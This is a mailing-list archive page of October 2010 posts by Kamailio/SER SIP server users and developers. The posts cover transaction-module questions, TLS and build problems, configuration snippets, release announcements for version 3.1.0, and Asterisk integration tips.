in tm readme there is this kind of example regarding use of t_relay_cancel: if (method == CANCEL) { if (!t_relay_cancel()) { # implicit drop if relaying was successful, # nothing to do # corresponding INVITE transaction found but error occurred sl_reply("500", "Internal Server Error"); drop; } # bad luck, corresponding INVITE transaction is missing, # do the same as for INVITEs } if proxy is processing all invites statefully, why anything needs to be done when invite transaction corresponding the to cancel is missing? isn't it a case of unmatched cancel and the cancel could just be dropped? -- juha

3 5

www_challenge(realm, flags) question
by Juha Heinanen 07 Oct '10

07 Oct '10

does www_challenge(realm, flags) know to send its challenge reply statefully or statelessly depending on if t_newtran() has been called or not? -- juha

2 6

Question about early media
by Asim Riaz 07 Oct '10

07 Oct '10

Hi List, Phone-1 ------->Proxy1 (kamailio)-------------->Proxy-2(3rd party) -------------> phone 2 Calls from phone-1 to phone-2, proxy-2 is sending early media without sdp in provisional reply, this early media is sourced from different port than response (200), what port proxy-1 will use to transmit actual voice, the source port in early media or source port in response(200) which is different than early media. Thanks, Asim

4 5

WARNING: script writer didn't release transaction
by Juha Heinanen 07 Oct '10

07 Oct '10

after playing with t_newtran(), i started to get these to syslog: Oct 7 15:39:11 sip /usr/sbin/sip-proxy[26119]: WARNING: tm [t_lookup.c:1543]: WARNING: script writer didn't release transaction as far as i remember, in k these messages were not printed, because transactions were freed automatically when script ended. also, example in section 1.3.3. nonce_count of auth module does not include any t_release() calls. where exactly should they be put? -- juha

2 2

auth module README t_newtran() issue
by Juha Heinanen 07 Oct '10

07 Oct '10

in auth module readme, there is this kind of example code in section 1.3.3. nonce_count: # go stateful and catch retransmissions if (!t_newtran()) drop; # retransmission based on tm source comment, the #retransmission comment is not correct: /** if no transaction already exists for the message, create a new one. * atomic "new_tran" construct; it returns: * * @return <0 on error * +1 if a request did not match a transaction * 0 on retransmission that is, if t_newtran() returns false, there has been an error. drop happens automatically in case of retransmission. -- juha

2 1

kamailio 3.0.3 tls problems
by Rouskol Andrey 07 Oct '10

07 Oct '10

Hello, I have a problem running kamailio with tls support. I can successfully register only for the first time, all further registration fails with the following message in the log: Sep 28 11:53:55 siptest /usr/sbin/kamailio[16963]: ERROR: tls [tls_server.c:392]: SSL error:error:07064041:memory buffer routines:BUF_MEM_grow:malloc failure The system is a default kamailio installation on a Debian 5.0.6 system. Does somebody know what could cause the problem? Regards, Andrey.

5 17

authenticating users based on IP address and limiting the number of channels for the users using Kamailio 3.0 and Siremis 1.0
by Shrouk Khan 07 Oct '10

07 Oct '10

hi, i have been looking for a way to authenticate users based on the IP from they come from . Also i would like to limit the number of channels ( simultaneous calls) that each user can make . is their any way to do this using kamailio 3.0 and siremis 1.0 ? my configuration is like this: sipphones --->UserGroup1(Asterisk PBX)---->KamailioSipProxy--->AsteriskPSTNGateway--->PSTN 1. there can be many softphones on the user group 1 and there can be multiple calls coming from there at any time. 2. UserGroup1 is actually another SIP proxy [asterisk] with a fixed public IP 3. Kamailio Sip proxy is the one i am trying to configure . I would like to authenticate UserGroup1 based on its public IP address 4. From kamailio , calls will be forwarded to a asterisk pstn gateway. I would like to put restriction on this one : " User group 1 can not make more than 5 concurrent calls at a time" can anyone give me some suggestion or point me in some direction where I can do some reading on this one. Aslo , what would be best way to bill this UserGroup1 ? Using FreeRadius and CDRTool ? -- Regards Shrouk Khan (Khan) System Administrator / Telecommunication System Developer Office: +354 4400807 (Reykjavik) +44 2031370800 (London) Mobile: +66 875049439 (Bangkok) Web: www.softverk.is Reykjavik, Iceland // London, UK // Bangkok, Thailand

5 5

force_rtp_proxy assistance
by Stagg Shelton 06 Oct '10

06 Oct '10

I'm working on a setup where we have rtpproxy on a machine with eth0 IP 10.10.5.141/19 and eth1 IP 10.10.10.78/24. When using force_rtp_proxy("","10.10.5.141"); the connection information (c) field in the SDP is not being set to the ip 10.10.5.141 It is instead being set to 10.10.10.78 We are starting to run out of ideas on getting the proper contact address into the sdp based on call source signaling ip. Does anyone have any ideas what the problem could be? Thanks Stagg

3 8

Re: [SR-Users] add fromuser to sip request
by JR Richardson 06 Oct '10

06 Oct '10

>> Hi Alex. I use a general context in asterisk to route calls already >> and wanted to get away from pattern matches. I'm using asterisk >> realtime and want to decrease the load. I'll play around with the >> 'uac_replace_from()' and 'append_hf' to see what works best for me. > > Well, you don't have to use pattern matches. :-) You can always > direct to fixed extensions, a la: > > exten => moh,1,Answer > exten => moh,n,MusicOnHold > exten => moh,n,Hangup > > Those should be pretty snappy, even in realtime. > So the first thing I notice with using 'uac_replace_from()' is the caller ID number is replaced with the replaced value, so I guess this is not what I need for my particular application. I'll fool around with the 'append_hf' and some pattern matches. Thanks. JR -- JR Richardson Engineering for the Masses

2 1

Kamailio v3.1.0 Released
by Daniel-Constantin Mierla 06 Oct '10

06 Oct '10

Kamailio (OpenSER) v3.1.0 is out – major release with impressing number of new features and improvements. This release is a result of more than 8 months of development and testing from the teams of Kamailio (OpenSER) and SIP Express Router (SER) projects. Backed up by a solid development group, we are proud to announce that this release brings a large set of features, many for first time on the SIP server market, such as asynchronous TLS, UDP raw sockets, embedded HTTP and XCAP servers, embedded Lua, configuration file debugger. All together, there are over 15 new modules and countless improvements to old components. Since last major release (version 3.0.0, which was out in January 10, 2010), the two SIP servers, Kamailio and SER, are practically the same application, the name making the difference regarding the database structure and the extensions used for certain features, such as user database based authentication or location service. Therefore another development direction was towards smooth integration of Kamailio and SER extensions, previously duplicated modules such as auth, sl, ratelimit or sms were merged during this development cycle. Continue reading the release notes at: http://www.kamailio.org/w/kamailio-openser-v3.1.0-release-notes/ Many thanks to all developers and community members that made possible this release. -- Daniel-Constantin Mierla http://www.asipto.com

2 2

General question
by Uriel Rozenbaum 06 Oct '10

06 Oct '10

Guys, This mail has nothing to do with Kamailio or SR, so feel free to discard it. I'm trying to find a command-line tool to grab updates from an RSS feed. I tried to install rsstail but it has a lot of dependencies and cannot make it work. Does anyone have some software I can download and use in Centos 5.2? Thanks! Uriel

1 0

Problem with debug memory: kill -SIGUSR1 doesn't work fine
by César Pinto Magán 06 Oct '10

06 Oct '10

Hello, We had been experiencing memory leaks issues with our Kamailio deployment. Some of the process started to use all their assigned memory and arises allocation memory errors. Using the "kill -SIGUSR1" as explained in the Kamailio wiki and found the problem: Sep 8 11:34:04 localhost /sbin/kamailio[17275]: INFO: <core> [main.c:788]: INFO: signal 15 received Sep 8 11:34:04 localhost /sbin/kamailio[17275]: INFO: <core> [main.c:799]: Memory status (pkg): Sep 8 11:34:04 localhost /sbin/kamailio[17275]: INFO: qm_status: (0x885a60): Sep 8 11:34:04 localhost /sbin/kamailio[17275]: INFO: qm_status: heap size= 67108864 Sep 8 11:34:04 localhost /sbin/kamailio[17275]: INFO: qm_status: used= 60641440, used+overhead=67096424, free=12440 Sep 8 11:34:04 localhost /sbin/kamailio[17275]: INFO: qm_status: max used (+overhead)= 67102896 Sep 8 11:34:04 localhost /sbin/kamailio[17275]: INFO: qm_status: dumping all alloc'ed. fragments: Sep 8 11:34:04 localhost /sbin/kamailio[17275]: INFO: qm_status: 0. N address=0x8baf78 frag=0x8baf48 size=16 used=1 Sep 8 11:34:04 localhost /sbin/kamailio[17275]: INFO: qm_status: alloc'd from <core>: rvalue.c: mk_rval_expr_v(2452) Sep 8 11:34:04 localhost /sbin/kamailio[17275]: INFO: qm_status: start check=f0f0f0f0, end check= c0c0c0c0, abcdefed ... Sep 8 11:34:06 localhost /sbin/kamailio[17275]: INFO: qm_status: 1618. N address=0x95e920 frag=0x95e8f0 size=936 used=1 Sep 8 11:34:06 localhost /sbin/kamailio[17275]: INFO: qm_status: alloc'd from <core>: rvalue.c: rval_new_empty(233) Sep 8 11:34:06 localhost /sbin/kamailio[17275]: INFO: qm_status: start check=f0f0f0f0, end check= c0c0c0c0, abcdefed Sep 8 11:34:06 localhost /sbin/kamailio[17275]: INFO: qm_status: 1633. N address=0x95f528 frag=0x95f4f8 size=936 used=1 Sep 8 11:34:06 localhost /sbin/kamailio[17275]: INFO: qm_status: alloc'd from <core>: rvalue.c: rval_new_empty(233) Sep 8 11:34:06 localhost /sbin/kamailio[17275]: INFO: qm_status: start check=f0f0f0f0, end check= c0c0c0c0, abcdefed Sep 8 11:34:06 localhost /sbin/kamailio[17275]: INFO: qm_status: 1634. N address=0x95f930 frag=0x95f900 size=936 used=1 Sep 8 11:34:06 localhost /sbin/kamailio[17275]: INFO: qm_status: alloc'd from <core>: rvalue.c: rval_new_empty(233) Sep 8 11:34:06 localhost /sbin/kamailio[17275]: INFO: qm_status: start check=f0f0f0f0, end check= c0c0c0c0, abcdefed Sep 8 11:34:06 localhost /sbin/kamailio[17275]: INFO: qm_status: 1696. N address=0x962298 frag=0x962268 size=944 used=1 Sep 8 11:34:06 localhost /sbin/kamailio[17275]: INFO: qm_status: alloc'd from <core>: rvalue.c: rval_new_empty(233) Sep 8 11:34:06 localhost /sbin/kamailio[17275]: INFO: qm_status: start check=f0f0f0f0, end check= c0c0c0c0, abcdefed . . (the rvalue.c repeats all the time) . Sep 8 11:34:23 localhost /sbin/kamailio[17275]: INFO: qm_status: 64963. N address=0x4885118 frag=0x48850e8 size=944 used=1 Sep 8 11:34:23 localhost /sbin/kamailio[17275]: INFO: qm_status: alloc'd from <core>: rvalue.c: rval_new_empty(233) Sep 8 11:34:23 localhost /sbin/kamailio[17275]: INFO: qm_status: start check=f0f0f0f0, end check= c0c0c0c0, abcdefed Sep 8 11:34:23 localhost /sbin/kamailio[17275]: INFO: qm_status: 64964. N address=0x4885528 frag=0x48854f8 size=1288 used=1 Sep 8 11:34:23 localhost /sbin/kamailio[17275]: INFO: qm_status: alloc'd from <core>: rvalue.c: rval_new_empty(233) Sep 8 11:34:23 localhost /sbin/kamailio[17275]: INFO: qm_status: start check=f0f0f0f0, end check= c0c0c0c0, abcdefed We saw there was several core memory leaks resolved in the 3.0.3 version (we had the 3.0.2), so we decided to upgrade to that version. Now I was trying to check the memory status of the process (in order to see if the problem is arising again) with "kill -SIGUSR1" but now only show the memory status of the shm and the memory of the attendant process (the one who launch the other ones). I had tried to send the signal to each of the son process but I see nothing in the log. Is this a new bug or is that there is other new way to see the memory status of the processes? Thanks in advance, http://www.alhambra-eidos.es/CO/1.gif<http://www.alhambra-eidos.es/CO/1.gif> César Pinto. ICM Team +34 91 787 23 00 http://www.alhambra-eidos.es/CO/3.gif <http://www.alhambra-eidos.es/>

2 2

Fwd: lua.h / lauxlib.h issue while making deb pkgs ! (for 3.1 master branch i.e)
by X- x -X 06 Oct '10

06 Oct '10

Shouldn't me doing " git pull " today /even now have fixed it ? (it still not doing it for me though). I still get that error. of not finding those lua.h etc.. I do see it being upgrade to 3.1 during the compile ........................... dpkg-buildpackage: source package kamailio dpkg-buildpackage: source version 3.1.0 dpkg-buildpackage: source changed by Daniel-Constantin Mierla < miconda(a)gmail.com> dpkg-buildpackage: host architecture i386 .......................... On Wed, Oct 6, 2010 at 6:03 AM, Jon Bonilla <manwe(a)aholab.ehu.es> wrote: > El Wed, 6 Oct 2010 04:55:55 -0400 > X- x -X <myonlinedisk(a)gmail.com> escribió: > > > Hey Jony, > > > > while during "make deb" it complains of lua files > > > > Make sure you have an updated 3.1 branch. There was a fix for this > yesterday by > Daniel. > >

1 0

start preparing 3.1.0 release in 2 hours
by Daniel-Constantin Mierla 06 Oct '10

06 Oct '10

Hello, in order to build the packages for 3.1.0 without conflicts, please make your commits before 14:00CEST (Madrid, Paris, Berlin - UTC+2). If you still have some to do afterwards, please ask on sr-dev(a)lists.sip-router.org before committing. Thanks, Daniel -- Daniel-Constantin Mierla http://www.asipto.com

1 0

lua.h / lauxlib.h issue while making deb pkgs ! (for 3.1 master branch i.e)
by X- x -X 06 Oct '10

06 Oct '10

Hey Jony, while during "make deb" it complains of lua files output .................................. In file included from app_lua_api.c:37: app_lua_api.h:27:17: warning: lua.h: No such file or directory app_lua_api.h:28:21: warning: lauxlib.h: No such file or directory app_lua_api.h:29:20: warning: lualib.h: No such file or directory In file included from app_lua_api.c:37: app_lua_api.h:35: error: expected specifier-qualifier-list before ‘lua_State’ app_lua_api.h:58: error: expected ‘)’ before ‘*’ token --------------------------------- I have all the 3 versions devs of lua installed debbox:~/kamailio# apt-file search lualib.h liblua5.1-0-dev: /usr/include/lua5.1/lualib.h liblualib40-dev: /usr/include/lua40/lualib.h liblualib50-dev: /usr/include/lua50/lualib.h dpkg - L | grep -i liblua debbox:~/kamailio# dpkg -l |grep lua ii liblua40 4.0-13 Main interpreter library for the Lua 4.0 programming language ii liblua40-dev 4.0-13 Main interpreter library for lua40: static library and headers ii liblua5.1-0 5.1.3-1 Simple, extensible, embeddable programming language ii liblua5.1-0-dev 5.1.3-1 Simple, extensible, embeddable programming language ii liblua50 5.0.3-3 Main interpreter library for the Lua 5.0 programming language ii liblua50-dev 5.0.3-3 Main interpreter library for Lua 5.0: static library and heade ii liblualib40 4.0-13 Extension library for the Lua 4.0 programming language ii liblualib40-dev 4.0-13 Extension library for Lua 4.0: static and headers ii liblualib50 5.0.3-3 Extension library for the Lua 5.0 programming language ii liblualib50-dev 5.0.3-3 Extension library for Lua 5.0: static and headers ii lua50 5.0.3-3 Small embeddable language with simple procedural syntax I reckon the path is not correct in one of the header files. vi modules/app_lua/app_lua_api.h ..................... #include <lua.h> #include <lauxlib.h> #include <lualib.h> ........................ could you enlighten me ? Thanx.

2 1

Re: [SR-Users] add fromuser to sip request
by JR Richardson 05 Oct '10

05 Oct '10

>> In Kamailio, how would I go about receiving a sip request, append a >> user "sipentry1" then forward it to Asterisk? I would be using some >> sort of trunk prefix to identify which sip request to append the user >> like: >> >> 552145551212@siprouter, strip 55, append user "sipentry1", dispatch >> t-relay to asterisk >> 562145551212@siprouter, strip 56, append user "sipentry2", dispatch >> t-relay to asterisk >> 572145551212@siprouter, strip 57, append user "sipentry3", dispatch >> t-relay to asterisk >> >> Any point in the right direction will be appriciated. Which module >> should I be looking into? > > In Asterisk, sip.conf peer matching is done by source host and port > unless the 'type' is set to 'dynamic'. > > That said, if your desire is to change the From header display name or > user part of the From URI, you should use the 'uac' module and look > into the 'uac_replace_from()' function. It's a little unorthodox by > RFC 2543 standards, but because it spoofs the From header statefully > and reverts the value on replies before passing back to the near > end--such that the initiating endpoint is none the wiser--it works. > > Otherwise, if your main desire is to customise entry points into > various dial plan contexts for otherwise similar calls, I suggest > routing on a different criterion. Custom headers have sort of become > a de facto means of out-of-band inter-machine associated signaling > additions in SIP where it is possible to add them. Why not use a > custom header? In Kamailio, add a header to the initial INVITE > request that is something like: > > append_hf("X-JR-Dialplan-Target: my_context"); > > Then, route all calls in Asterisk via one sip.conf peer and into one > "master" dial plan context, where you can then make further routing > decisions based on the value of the header - sip.conf: > > [my_proxy] > ... > host=xx.xx.xx.xx > insecure=port,invite > ... > context=master_dp_router > > And then in extensions.conf: > > [master_dp_router] > > exten => _.,1,Goto(${SIP_HEADER(X-JR-Dialplan-Target)},${EXTEN},1) > > ... > > [my_context] > > exten => 5551212,1,Answer > exten => 5551212,n,Playback(hello-world) > ... > Alex Balashov - Principal > Evariste Systems LLC Hi Alex. I use a general context in asterisk to route calls already and wanted to get away from pattern matches. I'm using asterisk realtime and want to decrease the load. I'll play around with the 'uac_replace_from()' and 'append_hf' to see what works best for me. I really appreciate your quick response, very insightful. Thanks. JR -- JR Richardson Engineering for the Masses

2 1

add fromuser to sip request
by JR Richardson 05 Oct '10

05 Oct '10

Hi All, I am using Kamilio 3.0.2 as a load balancer in front of Asterisk servers, using Dispatcher/PDT and such, working fine. I would like to be able to bring sip calls into Asterisk at different entry points in the dialp plan, so I want to setup sip users; [sipentry1] contex=blah, [sipentry2] context=blahblah. In Kamailio, how would I go about receiving a sip request, append a user "sipentry1" then forward it to Asterisk? I would be using some sort of trunk prefix to identify which sip request to append the user like: 552145551212@siprouter, strip 55, append user "sipentry1", dispatch t-relay to asterisk 562145551212@siprouter, strip 56, append user "sipentry2", dispatch t-relay to asterisk 572145551212@siprouter, strip 57, append user "sipentry3", dispatch t-relay to asterisk Any point in the right direction will be appriciated. Which module should I be looking into? Thanks. JR -- JR Richardson Engineering for the Masses

2 1

Tutorial: SIP SIMPLE Presence Made Simple with Kamailio 3.1
by Daniel-Constantin Mierla 05 Oct '10

05 Oct '10

Hello, I published a tutorial of how to implement a SIP SIMPLE Presence & XCAP server with latest Kamailio/SER version. You can find it at: http://bit.ly/btrJij Last build of SIP Communicator softphone was used to exemplify some use cases. xcap_server is a new module in upcoming v3.1.0, I have tested it with several SIP clients, but I have to say is not easy to find one that implements many presence & xcap extensions (filled already couple of bugs so far). So consider it a young component by now, however, with it inside our SIP server, deploying a SIP presence server becomes trivial. Hope is helpful, Daniel -- Daniel-Constantin Mierla http://www.asipto.com

4 14

retrieve INVITE transaction in CANCEL
by Zappasodi Daniele 05 Oct '10

05 Oct '10

Hello, is it possible to retrieve the info related to the INVITE transaction while the CANCEL is processed? In particular, when the script is handling the CANCEL, how can I get the avp values written in the corresponding INVITE transaction? Thanks, Daniele ********************************************************************** The information in this message is confidential and may be legally privileged. It is intended solely for the addressee. Access to this message by anyone else is unauthorized. If you are not the intended recipient, any disclosure, copying, or distribution of the message, or any action or omission taken by you in reliance on it, is prohibited and may be unlawful. Please immediately contact the sender if you have received this message in error. **********************************************************************

2 1

Re: [SR-Users] Error on radius accounting
by Asim Riaz 04 Oct '10

04 Oct '10

Hi List, Having an issue with my freeradius, I am getting below errors when kamailio sends radius records and freeradius try to store into database; Error: Ignoring request from unknown client 192.168.1.100:1814 Radius client and server are running on the same machine and I have necessary configuration in clinet.conf and server.conf for localhost and I can see radius is writing record for the calls but looks like radius client is trying to send record twice one from localhost and one from the interface ip? Error: Rejecting request 88 due to lack of any response from home server OpenSER:5061 Proxy: marking accounting server 192.168.1.100:1813 for realm DEFAULT dead Proxy: marking accounting server 78.137.190.133:1813 for realm DEFAULT dead Error: rlm_sql (sql): Couldn't insert SQL accounting START record - Duplicate entry 'fdeb080-b342ea59-13c4-50022-17bee27-76d4b161-17bee27-fc5b7f8-b34' for key 'sess_id' Error: rlm_sql_mysql: Cannot store result As the radius record being store in the database so looks like its trying to record the same data twice and because the this record already in the database its failing to record the data. I know this is more related to freeradius but I am just wondering if someone experienced the same problem and how it was resolved Thanks, Asim

2 2

version 3.0.2.99 ?
by X- x -X 04 Oct '10

04 Oct '10

Hey Jon, I gather you are the man when it comes to packaging the goods. My query: Building packages for a distribution yields in the end packages with this 3.0.2.99 version. How come ? shoudn't it be 3.1.x (source pulled from git repo of kamailio 3.1) Anyway how are there any test packages out there to be tested before releasing on 6 th ? Thanks --

2 1

"Create Certificates to be used with Kamailio" changes
by Juha Heinanen 04 Oct '10

04 Oct '10

now that 3.1 has async tls support, i decided (first time ever) to try to test tls. things went quite smoothly when i followed "Create Certificates to be used with Kamailio" document http://kamailio.org/dokuwiki/doku.php/tls:create-certificates#using_the_cer… during the process, i fixed a typo in the doc, added two comments to cfg part: enable_tls=1 tcp_async=no # do not include in 3.1 listen=udp:0.0.0.0:5060 listen=tcp:0.0.0.0:5060 listen=tls:0.0.0.0:5061 # not needed in 3.1 and fixed wrong file references in client configurations: eyebeam: copy the CA certificate (/etc/certs/demoCA/cert.pem) to the Windows PC and add it to the Windows certificate store (Start→Control Panel→Internet) QjSimple: copy the CA certificate (/etc/certs/demoCA/cert.pem) to the client PC and configure QjSimple to use this CA (“TLS CA file” and “verify TLS server certificate) earlier the paths pointed to certs/sip.mydomain.com files, which i think were wrong. at least i was not able to get them working. perhaps someone who is more familiar with tsl stuff could verify the above changes. -- juha

4 14

correct way to define flags in Kamailio 3.0.3
by Andrew Pogrebennyk 04 Oct '10

04 Oct '10

What is the correct way to write flags in Kamailio 3.0.3? I've tried both enum-like way: "flags a, b;" and the macro way: "#!define a 1", but neither has worked. I'm getting a syntax error trying to used defined flag, e.g.: modparam("usrloc", "nat_bflag", FLB_NATB) In 3.1 though the macro works fine. -- Sincerely, Andrew Pogrebennyk

2 2

what is new in v3.1.0
by Daniel-Constantin Mierla 04 Oct '10

04 Oct '10

Hello, please check the wiki page for what is new in upcoming v3.1.0 and add missing parts as well as enhance existing ones: http://sip-router.org/wiki/features/new-in-devel Thanks, Daniel -- Daniel-Constantin Mierla http://www.asipto.com

1 0

SER-like domain attributes in Kamailio?
by Andrew Pogrebennyk 04 Oct '10

04 Oct '10

I'm trying to migrate SER 2.0 to Kamailio and right now the major hiccup is migrating lookup_domain(). Is there any replacement for lookup_domain() that would enable you to use the domain attributes in Kamailio? I have come across the old thread "domain attributes" about adpoting the SER domain module: http://www.mail-archive.com/sr-dev@lists.sip-router.org/msg00804.html But I'm not sure what was the outcome. Same for load_attrs() and user_attrs column - it looks like there's no direct replacement for that and I have to migrate it to usr_preferences. -- Sincerely, Andrew Pogrebennyk

2 1

upgrade 3.0.x to 3.1.x tutorial
by Daniel-Constantin Mierla 04 Oct '10

04 Oct '10

Hello, please take a moment and check the upgrade guidelines at: http://sip-router.org/wiki/install/3.0.x-to-3.1.x Add any missing parts you discover and enhance existing sections in order to make the process as smooth as possible. There are only two days left to launch 3.1. Thanks, Daniel -- Daniel-Constantin Mierla http://www.asipto.com

2 5

Re: [SR-Users] [Serusers] Cleaning bad npdi=yes and rn=VALUE tags from INVITEs
by Shawn Smith 04 Oct '10

04 Oct '10

Frank, I have the same/similar issue and I was wondering if you have had any luck ignoring the npdi & rn values in the INVITE packet? Shawn Smith Sr. Senior VoIP Engineer

1 0

Can this be done with xhttp module (3.1 devel)?
by Sergey Okhapkin 02 Oct '10

02 Oct '10

I need to get http request with xhttp module, process request parameters, build SIP request (based on received http parameters), receive SIP reply and send http response back based on SIP reply. HTTP part is simple, but how to send SIP request from event_route[xhttp:request] and get SIP reply? uac_req_send() function doesn't wait for SIP reply, t_uac_dlg MI command does everything needed but is not accessible from config script. Any other ideas/suggestions?

5 15

Meeting in Vinenna, next week, Wed 6, 2010
by Daniel-Constantin Mierla 01 Oct '10

01 Oct '10

Hello, some of us will be next Wednesday in Vienna, Austria and planned to have a dinner - among the things to celebrate is the 3.1 release. If you are around and want to join us, drop me an email. So far, from registered developers, there will be myself, Klaus Darilion, Andreas Graning and maybe Jon Bonilla. Time should be 19:00, place not decided yet - it will be provided by email. It is the usual social-networking-like event we had in the past, everyone paying for himself/herself. Anyone is welcome to join! Cheers, Daniel -- Daniel-Constantin Mierla http://www.asipto.com

2 1

kamailio pre-3.1 configuration error
by Rouskol Andrey 01 Oct '10

01 Oct '10

Hello, It looks, there is a small error in default kamailio.cfg: #!define FLB_NATSIPPING 7 .. route[REGISTRAR] { .. # uncomment next line to do SIP NAT pinging ## setbflag(FLB_SIPPING); ^^^^^^^^^^^^^^^^^^^ Regards, Andrey.

1 0

XCAP 3.1 configuration !
by X- x -X 01 Oct '10

01 Oct '10

Hi Daniel, Im a kamailio 3.1 (testing noobie) Im trying to setup a simple buddy list supporting presence server. (I gather xcap is the way to go) The simple presence thingy works nicely & instantly (thanks to those #!defines ) But I haven't been able to get this configuration going http://sip-router.org/docbook/sip-router/branch/master/modules_k/xcap_serve… I mean loading the modules & setting the modparams is a snap but this routing logic always gets to me. (i.e. those filing off .......... lines in the the routing logic section. Did I mention I was a noobie especially of routing logic section ?) Anyway you have also added this declarative #!ifdef WITH_XHTTPAUTH with in that section, where as its missing in the top section of the kamailio.cfg file. Pasting just about anywhere (or in the end before the } doesn't work for me. Could u be kind enough to elaborate a little more on that or come up with a fuller kamailo.cfg sample file. Thanx & Regards --

4 10

jabber module
by Ovidiu Sas 30 Sep '10

30 Sep '10

The jabber module is obsolete and it still exists in both (s) and (k) module version. We should remove this module from the upcoming 3.1 release. Regards, Ovidiu Sas

3 2

Re: [SR-Users] Asterisk Load balancing and Session Aware
by Alex Balashov 30 Sep '10

30 Sep '10

Ross, On 09/30/2010 10:14 AM, Ross Beer wrote: > The phone sets up another call using INVITE and then uses REFER when > the transfer takes place. Please try to keep the list copied, as a matter of good practice. If I understood your scenario correctly, you don't have a choice but to send the REFER to the same Asterisk server as the one hosting the original call leg, because that is the only server that is aware of that call leg. Perhaps I have not adequately understood. However, if your question is about whether Kamailio can initiate transfers, it can, sort of. You can initiate REFERs and INVITE-hold-REFER-BYE bridges from route script a la: http://www.kamailio.org/docs/modules/3.0.x/modules_k/dialog.html#id2700697 http://www.kamailio.org/docs/modules/3.0.x/modules_k/dialog.html#id2700815 You can also use the management interface to stimulate Kamailio to initiate a 'bridge' of this nature from an outside script: http://www.kamailio.org/docs/modules/3.0.x/modules_k/dialog.html#id2701383 If there is anything that might serve your needs, I think it is that. -- Alex -- Alex Balashov - Principal Evariste Systems LLC 1170 Peachtree Street 12th Floor, Suite 1200 Atlanta, GA 30309 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/

1 0

Asterisk Load balancing and Session Aware
by Ross Beer 30 Sep '10

30 Sep '10

Hi, I would like to know if the following is possible in Kamailio, I've tried with OpenSIPs but I don't think it is ideal for my needs. I would like to load balance multiple asterisk boxes which terminate and originate calls. To transfer calls by attended transfer any new calls originating from a phone need to be sent to the same server as the held call. With the dialogue module I can add the call originating from asterisk to a profile and the new call from the phone can check if the user already belongs to a profile and then send the call to the same gateway. What I would like to know is if there is a better way to do this or if Kamailio can perform the transfer without the need to send the call back to the same asterisk box. I've noticed that the Kamailio dialogue module has a few more features than its OpenSips counterpart. I would be very grateful for any feedback. Regards, Ross

2 1

tm problem with two copies of the same invite
by Juha Heinanen 30 Sep '10

30 Sep '10

there is a broken grandstream sip ua that sometimes sends two initial invites back-to-back. according to wireshark, sr received them about 10 microseconds apart. sr then forwards the request to pstn gw, but i don't have wireshark dump of that side of the traffic. anyway, from the ua side i see that about 10 milliseconds after receiving the invites, sr replies to the ua "503 no more gateways available". in my config that reply comes only from GW_FAILURE failure route, which is set up like this: t_on_failure("GW_FAILURE"); t_set_fr("120000", "5000"); t_relay() so no way should failure route get executed before 5 seconds, but in this back-to-back invite case it somehow gets executed almost immediately. i have not seen this behavior in other situation. this looks like a bug to me. perhaps there is some race condition causing it? version of sr where this appears is 3.0.3. -- juha

2 2

Multiple Servers Serving A Domain
by Jon Farmer 30 Sep '10

30 Sep '10

Hi, I currently have 1 OpenSer server in front of a number of Asterisk boxes. I want to move to a scenario where I have multiple OpenSer boxes serving the same domain name in front of the Asterisk boxes. The UA could be registered on either of the OpenSer via SRV. When Asterisk has a call for the UA is it better to get Asterisk to dial both OpenSER or get one OpenSER to fork the call to the other box? Any opinions please? Regards Jon -- Jon Farmer Tel: 07795 118140 Email: viperdudeuk(a)gmail.com Twitter: @viperdudeuk

2 1

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